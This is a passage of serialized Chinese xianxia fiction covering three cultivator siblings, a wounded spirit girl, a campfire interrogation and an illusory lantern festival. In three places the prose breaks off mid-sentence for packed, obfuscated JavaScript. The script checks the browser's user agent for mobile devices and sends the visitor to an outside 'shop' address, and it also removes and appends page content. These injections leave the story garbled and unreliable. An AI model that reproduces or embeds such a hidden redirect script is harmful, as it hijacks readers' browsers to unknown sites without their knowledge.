柳清圆面上一抹似笑非笑的意味,眼底却清冷一片,侧头对身旁玄衣拂动的沈流商说:“沈仙长,瞧着可眼熟?看出些什么门道没有?” 沈流商并未作答,只是上前一步,俯身向洞内仔细探查。就在他靠近的刹那,一道黑影快如闪电般从暗处猛扑而出,张开的口中露出森白獠牙,直取他探出的手臂。 刹那间,洛闻瑛几乎未经思考,身体已本能地侧移半步,硬生生用自己的左臂挡在了前面—— “呃!” 獠牙深深刺入皮肉,鲜血瞬间涌出,染红了青色的衣袖。尖锐的痛感传来,洛闻瑛闷哼一声,脸色白了白。 几乎在同一时刻,柳清圆眸色骤寒,剑指一并,一道凛冽如霜雪的剑气已破空而出,精准地劈在黑影之上。 “噗嗤——” 黑影发出一声凄厉惨嚎,鲜血顺着无形的剑气淌下。它似乎畏惧至极,不顾伤痛,拖着哗啦作响的铁链仓皇向洞穴深处缩去。 然而,这并未结束。 柳清圆周身的气息在这一刻骤然变得冰冷刺骨,仿佛连空气都要凝滞。 “清圆师姐!” 沈流商敏锐地察觉到身后那几乎失控的狂暴力量。他顾不上伤口,猛地回身,右手疾探,一把死死攥住了柳清圆凝聚杀招的手腕。 “别杀!”沈流商声音微哑,目光却灼灼坚定,直直望进柳清圆那双翻涌着暗潮的眼睛,“她是灵族。” 柳清圆的手腕在他掌心微微震颤。她缓缓转过头,视线从洞穴深处移开,落在沈流商苍白却执拗的脸上。 两人僵持着,空气仿佛凝固。沈流商心跳如擂鼓。 “……松手。”良久,柳清圆才从齿缝间挤出两个字,声音低沉沙哑,带着极力克制后的危险意味。 “你先散去灵力。”沈流商毫不退让,尽管额角已因疼痛渗出了细密冷汗。 洛闻瑛手臂血淋淋地,却还是得逞似的弯起唇角:“大师姐……是在为我生气吗?” 又过了仿佛极其漫长的一瞬,柳清圆指尖那幽暗的灵光才极其缓慢、不情不愿地消散开来。但她周身那股冰冷的杀意并未完全褪去,只是被强行压制下来。 说话间,洛闻瑛手臂上的伤口便已愈合如初,肌肤光洁如新,仿佛方才那触目惊心的景象从未发生。 她眉眼一弯,带着几分俏皮的笑意,凑上前去想拉大师姐的袖子。身为姑媱山的神侍,她天生亲近草木生机,治愈与生长之术更是天赋异禀,怎么打都打不死,让人无可奈何,不过真要说本事,厉害呢没多厉害。 洛闻瑛好言哄了几句,大师姐却仍不理会她。她便转向那团模糊的东西,学着沈流商先前的样子,清了清嗓子,低声说:“这团东西我认得,她是姑媱山的‘尸’。” 一方天地,必有一方守护之灵。为谢神明庇佑,自灵族诞生于盘古所开之四方天地以来,祭祀之礼便承续不绝,历经万物生息,从未断绝。 活祭生灵,也是其中不可或缺的一部分。每逢十年或百年大祭,妖、魔、鬼、怪、人乃至灵族自身,皆可奉为祭品。此类生灵,常唤作“牲”。 祭祀之中,它们多遭神罚而魂飞魄散,再无轮回。偶尔遇到坚韧者,能于雷霆神威中挺立不死,便能得天地重塑,蜕变为此方天地的灵族,世间称其为“尸”。 然而他们其位最卑,其形最微,不为神灵所知,不被天地所认,修行之路坎坷万千。 沈流商暗暗松了口气,缓缓松开手。他低声道:“清圆师姐大人有大量,莫要为无关之人背上更多业债,使自身处于那岌岌可危之境地……” 话到一半,柳清圆一个眼刀过来,沈流商捶胸顿足,心道果真是好心喂了驴肝肺! 他索性破罐子破摔,将满腔憋闷化作唇边冷笑:“杀!杀得好!索性全杀干净了才痛快!瑛瑛师妹,千万别拦着她!杀个彻底成全她好了!” 洛闻瑛一会儿哄哄沈流商,一会儿又望望柳清圆,哪头都放不下,哪头又都不能怠慢,索性给两人嘴里各塞了两颗糖丸,然后干脆地往地上一坐。 “这丸子,我叫它‘小鸟蛋’,可是我自个儿研制的。要是你们不想当众尿裤子,现在就给我和好!” 所谓“小鸟蛋”,不过是“笑尿丹”的雅称罢了。 不到两秒,沈流商与柳清圆立刻握住了彼此的手,相视一笑,面上尽是春风和睦。 洛闻瑛的视线再次投向洞穴深处。 “你们……你们是修仙之人?” 借着洞口微光和那团诡异光晕,这才看清,那黑影并非妖物,而是一个衣衫褴褛、浑身污浊的少女,只是她眼神狂乱,气息奄奄,已是油尽灯枯之象。 沈流商:“你为何在此?” 洛闻瑛向她伸出了手,指尖只虚虚一点,那少女的伤便愈合了一大半。 那少女蜷缩在角落,喘息着,神智似乎清醒了些,声音沙哑干涩:“我……我本是奉师门之命来离山除妖祸,却反被那妖物所伤……昏迷醒来,已被一个伪装成放牛娃的妖物捡到,扔在这洞穴里,我师兄已被他们分食,如今只剩下我一个活口了……” 她抬起头,眼中带着劫后余生的恐惧与一丝恳求:“不想今日见到三位道友……请道友救我一命,我定要完成师命,除却离山妖祸!”她咬牙报出来历,“在下慕容静姝,出自人间流仙门。” 沈流商的目光扫过慕容静姝,未置一词,却向柳、洛二人传音入密,声音冷冽:[她气息浑浊,魂光有异。与先前那母子如出一辙。] [救不回来了。] 洛闻瑛好奇地眨眨眼:“你还记得我吗?那一年姑媱山只出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576333|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一位''尸'',之后你请命来流仙门,云缨姑姑不答应,但是你还是悄悄跑出来了,你真聪明诶。” 她一边暗道,[有我的灵力加持,她能撑过三日。] 洛闻瑛:“你只想除妖祸,为什么?就算牺牲生命你也要完成师命吗?” 慕容静姝坚定点头。 柳清圆自觉为慕容静姝渡了些灵气。 [再加上我的,五日足矣。] 沈流商眼睫微垂,掩去眸中一闪而过的了然。他语气平淡:“不瞒慕容小友。在下名……沈二牛。”他顿了顿,看向柳清圆。 柳清圆:“大柳树。” 洛闻瑛展开三根手指:“洛小小。” 沈流商从善如流,微笑道:“我们本是散修,云游四方,最爱路见不平拔刀相助,行侠仗义为善天下。慕容道友不必多礼,同为修士,自当援手。” “离山一事,我们必定襄助。” 慕容静姝:“……”她看着眼前这三位气质卓绝、明显非同一般的“散修”,一时语塞。敢情这三位是把她当傻子玩儿呢。 她重重地一点头,眼泪无声划过脸颊。 · 夜深人静,篝火噼啪作响,跃动的火光在慕容静姝略显苍白的脸上投下明明灭灭的阴影。 沈流商目光落在慕容静姝肩头那缕若隐若现的魔气上,语气平和却带着一丝探究:“照道友所言,此地人奉离山女为神女,善名远扬。然而,便是那离山女,为祸一方,伤了你?” 慕容静姝感受到他审视的目光,下意识缩了缩肩膀,迟疑道:“正是如此。”她沉默片刻,仿佛下定决心,声音低沉下去,“自数十年前我师门出了那邪物,经数年才重建起来,如今流仙门力量大减、百废待兴。无大宗坐镇,人间更加不太平,各派占山为王,争夺灵脉。” 她的眼中闪过一丝屈辱与恨意:“强盗行径,却是如今常态。他们先前合计在离山脚下埋伏人手,以免触怒山神之名,故意引我们去寻那所谓离山女,却不知中了奸计,被其重伤。” “有三位相助,我势必要将那妖女拿下,以报师门之仇。” 洛闻瑛却摇头道:“你死期将至,不必做这无用功。离山一事,交给我们几个就好啦~” 柳清圆:“……” 沈流商:“……” 慕容静姝猛地抬头,眼中闪过一丝不甘:“前辈何出此言?我虽修为低微,但……” 洛闻瑛继续道:“但你修为低微。” 沈流商:“……” 柳清圆:“……” “所以这几天就等我们去帮你报仇好啦,这几天是我们好容易给你拖过来的,剩下的日子该吃吃该喝喝,别想些有的没的,我们会……唔唔!……”洛闻瑛被沈流商强势捂住了嘴,然后交给柳清圆挟制着。 慕容静姝差点最后一口气都要抓不住了。因为她要被气死了。 “那慕容道友便为我们指路吧。我等明日启程,今夜需好生休憩,凝神静气为上。” 慕容静姝顺从颔首:“既如此……有劳诸位费心。” 45. 前世篇(五) 修真者一般是不睡觉的,灵族更是久已辟谷,以灵气为食,因此若天地不绝,神魂不灭,便总有一线重生之机,所以世人常常向往成为灵族。 洛闻瑛今夜依旧精神。她手里捏着个白衣傀偶,翻来覆去地看,眼角眉梢都是得意。这是为柳清圆做的。 柳清圆的道,通阴阳,不在五行之列。说是道不远人,人自远道,与天地同息,万古同光。这路数前无古人,后嘛……应当也难有来者,毕竟她这位大师姐的来历本就非凡。 洛闻瑛入长生天的时日太晚,对柳清圆的印象一度只停在“美美美”和“飒飒飒”上,但为了能同她处成好友,她着实下过一番苦功,到处搜罗大师姐的过往。 七拼八凑,总算摸出点门道。说是灾厄灵体,神人混血,看着跟灵族无异,可是比起寻常灵族,又好像成了另外一种难以言说的存在,常为人所忌惮遭受排挤,被称作“异类”,后来也是凭本事入长生天被怀崖收为第一座下弟子,有了一处落脚地。 她把柳清圆的修炼法门私下命名为“吃饭诀”。饱时气力无尽,做什么都干劲满满,可一旦起了饿意,哪怕只是那么一丝,整个人就像被戳破的气球,灵力顷刻溃散。 这修道之术有个致命的毛病,洛闻瑛拿四个字概括:用力过猛。 旁人口中,那叫随时可能失控的疯子。善恶一念间,至善也成杀戮,当然是歪理。灾厄灵体,天地间独一份,旁人不解,也不打算解。这些洛闻瑛听过就忘,她只听自己想听的,其余概不关心。 她只在意一件事:大师姐总是一个人出任务。明明是对付低阶邪魔,也动不动杀敌一千自损八百,看得人心惊。 于是她偷偷试了许多次,终于琢磨出一个法子。 给柳清圆装一个“暂停”模式。永远停在将饿未饿那一瞬,灵力紧急却永不关机。将一缕元神寄存于傀偶之中,只要洛闻瑛神魂不灭,柳清圆便能续航不断,且由洛闻瑛代为操持,再不会轻易失控。 她只提了一个要求:不打怪的时候,大师姐要缩进这傀偶里好好睡一觉,吸收天地精华,她好替她查验有无不妥。 柳清圆不知其中玄机,只当小师妹贪玩,讨个傀偶解闷。说来也奇,她素来警觉极高,竟也安心睡去,醒来神清气爽,便不再多问。 洛闻瑛大喜过望,趁热打铁叫柳清圆又做了一个然后如法炮制给沈流商,还额外添了道功能:能力共享。她把自己的灵力分出去,柳清圆一开始还老大不乐意她这样舍己为人,可后来为了团队协作,便也就罢了。 此刻,沈流商与柳清圆皆在各自的傀偶之中安眠。洛闻瑛精神抖擞,正与慕容静姝闲话。 只是她察觉不到一个显而易见的变化,那就是慕容静姝的脸色越发差了。 她捡了根树枝,拨了拨火堆:“所以你为什么要去流仙门?姑媱山又不赶你走。人间灵气稀薄,那些人只知消耗不知回馈,该多祭祀才是。” 慕容静姝从祭祀里九死一生爬出来,闻言默了默。 “……人间不一样。”她拣着话答,“天地最初也是混沌,是祖神一步步开出来的。人间如今也是如此,总要有人去做。” “而且祭祀——”她顿了顿,“那是另一回事了,圣女殿下。” 洛闻瑛托着腮,半点没有被戳穿的局促:“还没加封呢,算不得圣女。” 她眨眨眼,眸子仍是好看的黑色,里头映着火光。语气却沉了些,带了点凉意。 “所以你为何叛逃姑媱山?” “叛逃者,只有以死谢罪。” 慕容静姝心头一紧,尽力没让神色露出破绽。 “殿下留我到现在,总不是为了杀我吧?殿下就不怕……” 洛闻瑛笑起来。 “嗯……是呢。”她歪着头,“可你又怎么知道,我不是想让那两个朋友看看,她们护着的究竟是什么人?即便姑媱山的内务是密要,我也不怕暴露。若你想要以揭穿我的真面目做威胁的话,那你还真是没睡醒。” 她顿了顿,像想起什么似的,皱了皱鼻子。 “还有,别叫我殿下了,好中二。现在我叫洛小小。” 慕容静姝吸了口气,稳住声音。 “那你为什么留着我?” “吃掉我们这些''异类'',不是你最常做的事吗?” 洛闻瑛还在笑。 “我是可以杀你。但我不想。” 她垂下眼,拨弄着树枝尖端的炭灰。 “瑶姬大人送我入长生天,要我学着天真无害,学着长神性,我应了。” “可云缨姑姑把静时那条线切了,不许她再偷偷帮我作弊,连鲜花饼都不给了,一天十个诶!就这么不给了!”她声音扬起来,愤愤的,“我这次偏不听她们的。” “我不杀你,就只能救你啦。” 慕容静姝愣了片刻。 “……就这么简单?” “就这么简单。” 洛闻瑛抬眼看她,火光在瞳仁深处一跳。 “不过,”她弯了弯唇,语气轻飘飘的,“你再对我撒谎,我就吃了你。” “离山女的事,跟我说实话。人间这点灵气,养不出神。流仙门去寻什么山神?何况这些人连神智都半开未开……” 树枝轻点在地面。 “你哄谁呢?” 慕容静姝感到一阵威压放出,她的胸腔剧烈震动,嘴角难忍地流出鲜血,那一点殷红吸引了洛闻瑛,她几乎是迷恋一般用指腹轻轻擦去了那鲜血,好像温柔的抚摸。 慕容静姝惊得往后退了退,很快又努力镇定下来,垂下眼睫。 “姑媱山不给活路,自然要自己寻。”她声音压得很低,“流仙门虽杂,却视我们为真正的灵族,我等自愿为其赴汤蹈火。何况离山本就是我流仙门所有,我派受重创后才遭人觊觎。这次不是为除妖祸,而是要夺回离山,但那些杂碎要抢夺灵脉是真,我们受的伤,也是真的。” 洛闻瑛挑了挑眉:“还有呢。” “……离山、离山真的有神。” 威压迫得更紧。慕容静姝再撑不住,猛地咳出一口血,溅入火堆,嗤地腾起白烟。 洛闻瑛早已凝出一道屏障,血顺着透明的灵力壁缓缓淌下,一滴滴往下滑落。 “这么痛苦。”她轻叹,“算了,我来吧。” 指尖轻轻地抵上慕容静姝的眉心。洛闻瑛漆黑的眸中亮起淡粉色的花形纹路,一瓣一瓣,如东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳师姐素来爱开快剑,一兴起便引吭高歌,踩着飞剑转圈兜风。洛闻瑛被甩得七荤八素,有一回实在撑不住,直接吐了路过的仙鹤一身,人家告到师父那儿,师徒三人坐下喝茶,挨了好一顿训。 自那以后,洛闻瑛便铁了心:能蹭沈流商的剑,绝不上柳师姐的。于是又缠上沈流商不放。 马蹄哒哒踏过土路,灰扑扑扬起来,呛得她弯着腰咳,一声接一声,像村头七八十岁的老奶奶卡痰。 不远处草丛里,一个灵力化成的小人呆呆站着,马蹄风过,把它掀了个跟头。它慌忙爬起来,迈着小短腿追了几步,眼看着影子越走越远,追不上了,嘴一瘪,坐在地上。 身后忽然流光一闪,现出一道人影来。小人回头,看见谢济泫,立刻张开胳膊,哭唧唧地要抱。 谢济泫正着急忙慌地往远处探看方位,没低头。 一脚踩上去。 小人扁了。扁成薄薄一片,贴在地上,像块被碾过的肉夹馍。 祝东风:“……” 46. 前世篇(六) 夜色浓稠,街巷寂静。 几个道袍人影鬼鬼祟祟地举着罗盘四下探查,浑然不知墙头有一双金色的猫瞳正讥诮地俯视着他们。 洛洛优雅地蹲在墙头,被法术变换成黑色的毛皮完美隐入夜色,只有颈间若隐若现的金芒透出几分不凡。它不耐烦地甩了甩尾巴,然后轻轻一跃跳回院子,稳稳落在了地上。 脚步声远去,待那几个老道过去时,洛洛长长的尾巴轻轻撕下贴在门口的劣质符咒,笼罩整座宅院的法阵立刻消失无踪。 紧接着,三个人影轻巧地窜了进来,一瞬之间,整座宅院的镇宅法器和画好的还没用的符箓都被洗劫一空,之后那人影掠过几处地点都是如出一辙的作案手法。 随后身形一闪,几人便消失在夜色中。房顶上,几个人正围坐在一起分摊刚才缴获的东西,都是些次品,几个人挑挑拣拣不满意,又全给扔了。 这三人正是沈流商,柳清圆和洛闻瑛。要不说他们仨点儿背呢,真不知是撞了什么运道,自那鬼打墙的村子一路追着离山来,所见尽是荒无人烟的野地。好不容易撞见个镇子,想歇歇脚,谁知早被几个老道霸占了去,百姓逃得干干净净,只留他们仨在这儿,看能不能趁乱捞点什么。 柳清圆蹲在瓦片上,拿两根指头翻那堆破烂,越翻脸越垮:“这叫捡漏?这他娘叫收破烂。早知道这样,姑奶奶不稀罕跑这趟。” 洛闻瑛把铜镜翻过来,镜背的纹路被磨得只剩个影,叹了口气,模仿着柳清圆的语气说:“他娘还镇宅,姑奶奶给它镇个蚂蚁窝差不多。” 沈流商没吭声。 他伸手把洛闻瑛捞过来,弹她脑门:“忘掉。” “哎呦!”洛闻瑛捂着额头,眼神无辜,“干嘛?” 沈流商面无表情:“忘掉刚才那句话。” 洛闻瑛愣一下,乖乖点头:“哦。忘掉你说过''忘掉''。” 沈流商:“……” 他闭了闭眼,扭头瞥向柳清圆:真是!教坏孩子怎么办! 柳清圆正低头抛那堆破烂,假装很忙。 三个人开始面面相觑。 辛辛苦苦蹲半宿,防着那帮老道发现,手脚跟做贼似的——虽然他们确实是贼——结果就这? 洛洛踱过来,尾巴尖扫过那堆“战利品”,在三人中间寻了片干净瓦片,优雅地伏下。它舔了舔爪子,没吭声,但那无语的表情非常明显。 “喵~” [早说了都是破烂,非要折腾。] 风过屋顶,掀起几张符纸的边角。洛洛眯起金瞳,尾巴有一搭没一搭地轻敲瓦片。 “喵喵~”它的尾巴卷过一张黄纸。 “喵喵喵~”[这张有点用。] 洛闻瑛接过那张黄纸,尝试着输入了一点灵力进去,眼前倏然炸开一簇光,三个人同时愣住。 不是那种正经法术投影,而像是整个人都被拽了进去。脚底踩的是青石板,鼻尖飘来的是糖炒栗子的焦香。 百盏朱红灯笼高悬,平铺十里星光,烛火随风舞动,白墙上倒映出女子笑语盈盈的暗影。 绸缎庄的彩锦流光溢彩,糖画摊的糖人栩栩如生。胭脂铺前围了一圈姑娘,脸上带了些薄红,兴高采烈地谈论着,这个笑着嗔怪,那个闹着就要去拧前人的嘴。 灯火如昼,人流如织。 走南闯北的卖艺人利落地翻着筋斗,展现惊人的技艺,张口就能吐出三丈高的火焰。 似东风夜放花千树,更吹落,星如雨。 夫妇们到城里来逛庙会,到土地庙里求了许愿牌,一起放了河灯,看烟花,好不恩爱。 到土地庙前又拜了三拜,敬了香火,算是对求子的还愿,这时候娘子脸色红润,似乎又回到了做姑娘的时候,她盈盈看向相爱的郎君,风雪大了,她便紧紧依偎在丈夫怀里。 郎君依旧憨厚笑着,眼神里却露出害羞的躲闪之色。 洛闻瑛低头看自己的手,真实的,能捏拳。她又抬头看左右,而手里捏着的那张黄纸已经化成一缕青烟散了。 “……符里封的是记忆?”柳清圆低声问。 “不像。”沈流商接口,“一般封在符里的记忆惯是死气,不过若是记忆的主人他……” “看来此处曾有过地仙,至于这个场景应该是典籍上记载过的人间庙会,福缘满意的日子。” 而那边的洛闻瑛已经顾不上琢磨了。 她盯着斜前方那个糖画摊,眼睛都直了。 “糖人。”她陈述事实。 沈流商:“嗯。” “十二生肖的。”她又说,语气已经不太对劲。 洛闻瑛又探头看了一眼:“还有凤凰。”然后一把拽住沈流商腰间的钱袋,睁大一双眼睛看他:“买。” 沈流商面无表情:“这是幻境。”这钱袋子还是在之前那鬼村子里找到的。 “幻境里的糖人也是糖人。”洛闻瑛理直气壮,“额这辈子没吃过幻境里的糖人,万一味道不一样呢?万一它特别好吃呢?万一额错过了此生仅此一次的机缘呢?” 沈流商张嘴想反驳,发现逻辑上竟然无法击破。 然而洛闻瑛已经蹦过去了,踮着脚指那只凤凰:“要这个!” 糖画摊的老汉笑起来,皱纹里都是和气,提勺浇糖,行云流水。滚烫的糖浆在铁板上勾出翅羽,透明的琥珀色,被灯笼一照,流光溢彩。 她双手捧着,小心翼翼舔了一口。 “甜!” 她转头,眼睛亮晶晶的,把凤凰举到柳清圆嘴边。 柳清圆下意识往后仰:“不吃。” “你尝尝嘛。” “不吃。” “就一下。” 片刻后,柳清圆在旁边捏着自己的兔子糖人,咔嚓咬掉耳朵,嚼得清脆。 沈流商惊了,然后沈流商沉默。 洛闻瑛趁机把新做好的那只小狗怼到他嘴边,蹭了一小点糖渍在他唇角。 沈流商:“……” 他抬手想擦,对上洛闻瑛那双盛满期待的眼睛,手在半空顿了一下,接过那只小狗糖人,最后只是叹了口气。 “……还行。” 洛闻瑛心满意足,拿着自己讨价还价买来的二十个糖人一起舔,一心只觉得这趟破烂真没白收。 三个人举着糖人继续逛。 灯市是真的热闹。猜灯谜的长队排到了街角,有人在耍流星锤,锤头带火,转得呼呼生风。套圈摊前围了一圈小孩,竹圈扔出去,叮叮当当砸在瓷瓶上,一个没套中,全滚进缝里。 洛闻瑛抬头,眼睛又亮了。 沈流商平静道:“试试手气。” 洛闻瑛郑重地接过几个铜板,然后走到线前,瞄准那个最远的白瓷兔子,屏息,扬手—— 竹圈飞出去,在半空拐了个匪夷所思的弧线,绕过白瓷兔子,精准套中了摊主的茶壶嘴。 摊主:“…………” 洛闻瑛:“…………” 沈流商蹲在地上笑了半盏茶。 “你就说套没套中吧。”洛闻瑛倔强。 “……套中了。”沈流商抹眼泪,“套得还挺准。” 摊主可不干。 然后柳清圆威风凛凛地又要了几十个竹圈。 灵力灌入指尖,轻轻一抖,几十个圈同时离手,不疾不徐,排成一线,在空中划过一道漂亮的弧,全部箭无虚发,精准入圈。 摊主的脸色已经白了。 等最后一个竹圈稳稳落地,柳清圆拍了拍手,走到摊主面前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576335|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她指了指洛闻瑛,语气平平,听不出什么情绪:“我只问你,她套中的算不算数?” 摊主面色复杂地把茶壶嘴上的圈取下来,看看壶,看看她,最后从架子底下摸出一个清俊的小人儿递过去。 “姑娘,这个送你。” 洛闻瑛抱着那个小人儿娃娃,尾巴差点翘起来。 看见这娃娃的时候,沈流商脸色一变。因为这小人儿实在是太像……他脑中出现了一点不可描述的画面。 他故作轻松地凑过去:“给我玩玩。” “不给。” “就一下。” “不行,它是我的了!” 沈流商去抢,洛闻瑛举高了躲,两个人围着柳清圆绕圈。柳清圆站在原地,被他俩扯过来拽过去,面无表情地冷笑一声,然后一人脑门赏了一下,终于才让这俩大孩子消停下来。 而在空中飞来飞去的小人儿正努力保持着僵着的姿势,大气都不敢喘一下,微微调整着向洛闻瑛那里偏去,尽量远离落在沈流商手中的结局。 逛到一半,前面忽然爆发一阵骚动。巷口忽然传来锣声,接着是孩童的欢呼。 三人探头去看,是舞龙队。 长龙蜿蜒而来,鳞片金红交错,龙首昂然,龙珠在前引路。舞龙的是几个年轻汉子,赤膊上阵,汗珠在灯笼下闪闪发亮。龙身翻涌,鳞片簌簌作响,像真的活物。 洛闻瑛抱着那小人儿,仰头看得入神。 龙从她头顶掠过,带起一阵风。 她轻轻“哇”了一声。 “师姐,龙长这样么?” 龙族是最早消失的灵族。 他们的出现郑重如祖神,陨落时天地同悲,三界山海皆动。这是自然的事。天地在变,时年在转,一物消、一物长,这便是平衡,也是“万物之自然”。 灵族与天地同寿。但当天地的运行不再需要他们回护,当守护者再也无事可守…… 他们便没有理由留下。 那之后,天地自成其序。法则不再由某族执掌,而由此方生灵的每一次生息、每一次选择,一点点织成。 这样的地方,典籍里散落着许多名字,有的叫“洞天福地”,有的叫“自然天”。 而那里的生灵,有一个极新奇的称呼。 “众生”。 那是后面的事了,现在的灵族们常常把这一称呼写作“众牲”,极尽轻蔑不屑之意。 神灵们为此忧思难安,遂奉“物竞天择,适者生存”为天旨,一时争斗四起,同族相伐不绝。直到龙族消亡千年后,察觉到天地仍在无声运转,他们才猝然惊醒,止戈言和。而留存下来的领头人物,聚而为“凌霄神族”,后又立“长生天”统御各方灵族新秀,共掌三界秩序,从此号令分明。 神族之下,新生灵秀在不断强大。比如他们这一支小队:沈流商出自极渊沧浪灵族沈氏,啾啾栖于没落的都广之野鸾鸟一族,洛闻瑛承脉姑媱山瑶姬氏族。唯有柳清圆,来自人间。 天地纵广,皆在凌霄殿掌中,唯独“人间”不在。因为人间太过渺小,被三界远远隔开。他们把它归于大荒之内,任由它自生自灭。 天下地上,是谓人间。 人,从爬行到直立,从生肉到熟食,从混沌到灵智初开。有人识天文地理,有人尝百草试医药,有人从生走到死,又有人从死处重生。 千年万年,人间从未被谁看过一眼。 直到他们在尘土里立起流仙门,修道之途不再只属于灵族。那时候,一部分灵族修士终于低下头,在《山海志》上为他们添上一句话。 “天下地上,是谓人间。人,神之下者,异也。” 他们终于舍得看人间一眼。 而人间已经走了很远。 47. 前世篇(七) 哦,有些扯远了。 洛闻瑛痴迷地望着那舞龙的长队,小小的脑袋瓜里此刻除了“吃”根本装不下别的事。她生在姑媱山,长在姑媱山,总以为自己的消散也会是在姑媱山。可没成想半路冒出个长生天,连她吃的都抢走了不少。 她只是觉得,这龙真是活了,人间真热闹。这是她来人间后从未见过的景象。 余下的那一百里地,依旧会全是死地,因此她格外珍惜这段热闹。 “不是龙。龙族消失的时候,人间灵智未开,就算他们来过,人也不会记得。”柳清圆忽然伸手,把洛闻瑛往自己这边拉了一步,腾出位置。 “站这儿,看得全。” “师姐真好!” 洛闻瑛乖乖挪过来,又伸手把沈流商也拽近些。 沈流商没动,也没挣开。他垂下眼睫,默默在心中默念:……龙吗?《山海志》里是怎么说的来着? “龙者,四海之神,视昼暝夜,吹冬呼夏,不饮不食不息,出入必有风雨……” 据说龙能主宰日夜循环,呼吸间便是冬夏交替,时间空间尽在掌握,却偏偏行事低调,隐遁于天涯海角。现今还在的灵族大能们说,他们也几乎没见过龙,只远远瞥见过一抹影子,便铭记终生,三界震动。 龙族陨落后,沧浪灵族崛起,成了新的水域霸主,镇守从极之渊,水量几近天地水域的九成九,是名副其实的霸主。 沧浪灵族里流传着许多关于上一届霸主“龙族”的传说,都是不能为外人道的秘辛。沈流商年少时曾痴迷于此,想寻龙族遗泽来精进自身,便在这方面下过不少功夫。可在外人面前,他从不提起,毕竟龙族对灵族来说,始终是个敏感话题。 他寻寻觅觅三百年,一副龙骨、一点元灵残迹都未曾找到。龙之一族,当真消失得干干净净,了无痕迹。 最后只得了七个字。 “眼赤金,光如日月。” 沈流商心下一动。谢济泫那双金瞳便在他眼前晃耀起来,但他随即摇摇头,自己否定了这个荒唐的猜测。 天底下的金瞳灵族又不止龙族一脉。洛洛也是金瞳呢,灵宠是可以按主人喜好变换样貌的。况且初见那人时,他与灵族半点不沾边。 脑中却立刻浮现出那条滑腻的鱼尾在石砖上游移的模样。而在梦里,那鱼尾渐渐缠上他的腰,越收越紧,将他整个人往那片冰凉光滑的鳞身上带。谢济泫耀眼的金瞳近在咫尺,直勾勾地盯着他。 不知什么东西低低地抚过他的腰侧,硬硬地刮人得很,带着水汽的凉意,一路缓缓向下,他感受着鳞片擦过的痕迹。 这里。 那里。 更里面。 不,不对——不是鱼尾。 沈流商忽然被自己这个念头烫了一下。 那鳞片,那光泽,那缠绕时的力道与温度,说明梦中缠着他的,分明是…… 龙尾。 绝不可能! 他猛地垂下眼,耳根烧得厉害,再不敢往下想。 “大牛?大牛!”洛闻瑛的手在他面前晃悠,“师哥?沈流商!你怎么脸这么红呀,我在问你呢!同为水族,你觉得这是龙吗?” 沈流商猛地回神,只摇了摇头,声音有些飘忽:“谁知道呢……不晓得。” 这下轮到洛闻瑛摸不着头脑了。不是就不是,是就是啊?她师兄可不会说这么模棱两可的话啊。 龙尾扫过巷口,烟火升空,在夜幕炸开万点流金。灯笼摇曳,人声鼎沸。 三个人并肩立在檐下,糖人啃完了,套圈得到的获胜品揣在怀里,那软绵绵的小人儿娃娃被洛闻瑛揪得有点歪。 洛洛不知何时也进来了。 它蹲在沈流商肩头,金色猫瞳映着满城灯火,尾巴垂下来,正好搭在洛闻瑛发顶。 “喵。” [还行。] 洛闻瑛抬头:“洛洛,你刚才看见龙了吗?” “喵。” [看见了,没我威风。] 柳清圆:“它说什么?” “说它最威风。” “那确实。”柳清圆严肃点头,当然下意识以为话语中说的“它”就是这人间出现的舞龙。 洛洛尾巴尖翘了翘。 沈流商顿了顿,语气有些不自然:“《人间风物志》里写——‘每至正月望夜,充街塞陌,聚戏朋游。鸣鼓聒天,燎炬照地。’说的便是这元夕盛况。鼓声震天,火把映地,后来演化为烟花爆竹,辞旧迎新。庙会之上,有人戴兽面,有人男扮女装,通宵狂欢,是个结缘了缘的好日子。” 沈流商读过的书大约是三人里最杂的,正经的不正经的都往脑子里装,可惜十回有九回是对牛弹琴。 柳清圆呢只关心修炼,洛闻瑛胸无大志,只爱吃吃喝喝、缠着师哥师姐。然而偏偏就是这俩和怀崖堪称知音。 比如那本《风华录(装逼启示录)之如何装逼让修真界为我变成败类》,又如洛闻瑛爱不释手的《悦卿方略之论如何成为crush的心尖宠》,据不可靠消息,都是人间淘来的话本。沈流商对此嗤之以鼻,坚决不信这会是他师父的藏书。 洛闻瑛歪着头看他:“这跟我们姑媱山的花朝祭有点像诶。不过灵族办祭礼,是为了回馈天地。元夕呢?人间没有法力,图什么?” 沈流商摇摇头,没再解释。他对人间,确实也隔着一层。 烟火又一簇升上夜空,柳清圆忽然开口:“‘大节会之日,申庆贺之礼,叙团圆之欢。’——这就是节日。” 言罢,她压下嘴角那点得意,努力维持高冷。 多亏了那本《风华录》,这题她会。元夕节日好把妹,要显得博学又谦逊,最好说出点别人不知道的,这叫“神人姿态”,是“把妹王”的必修课。 然后洛闻瑛眨眨眼:“师姐,这是什么意思啊?” 